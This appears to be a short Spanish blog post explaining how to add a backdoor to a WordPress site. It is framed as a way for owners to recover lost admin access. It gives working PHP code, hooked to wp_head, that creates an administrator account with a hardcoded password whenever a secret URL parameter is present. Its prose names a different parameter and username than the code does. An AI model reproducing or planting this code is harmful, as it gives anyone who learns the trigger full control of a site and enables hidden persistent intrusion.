Informática, Wordpress

Crear Puerta Trasera en WordPress

A veces, por un motivo o por otro, queremos crear una puerta trasera o backdoor en nuestras instalaciones de WordPress.

Si por algún motivo perdemos acceso de administrador, como porque nuestro sido ha sido hackeado, podremos acceder nuevamente con una cuenta de administrador.

La idea es que podamos introducir un parámetro en la URL como por ejemplo:

https://miweb.com/?puerta=codigodeacceso

Y se nos cree un usuario y una contraseña predefinidas con permisos de administrador.

Si leemos el código podemos ver que coge la variable ?trecegate=13, luego incluye el registro de WordPress, comprueba si existe el usuario «moonlight» y si no existe crea el usuario con contraseña «Pa55W0rd» y rol administrador.

function trece_gate() {
    if ($_GET['trecegate'] == '13') {
        require('wp-includes/registration.php');
        if (!username_exists('13node')) {
            $user_id = wp_create_user('13node', 'Pa55W0rd');
            $user = new WP_User($user_id);
            $user->set_role('administrator');
        }
    }
}
add_action('wp_head', 'trece_gate');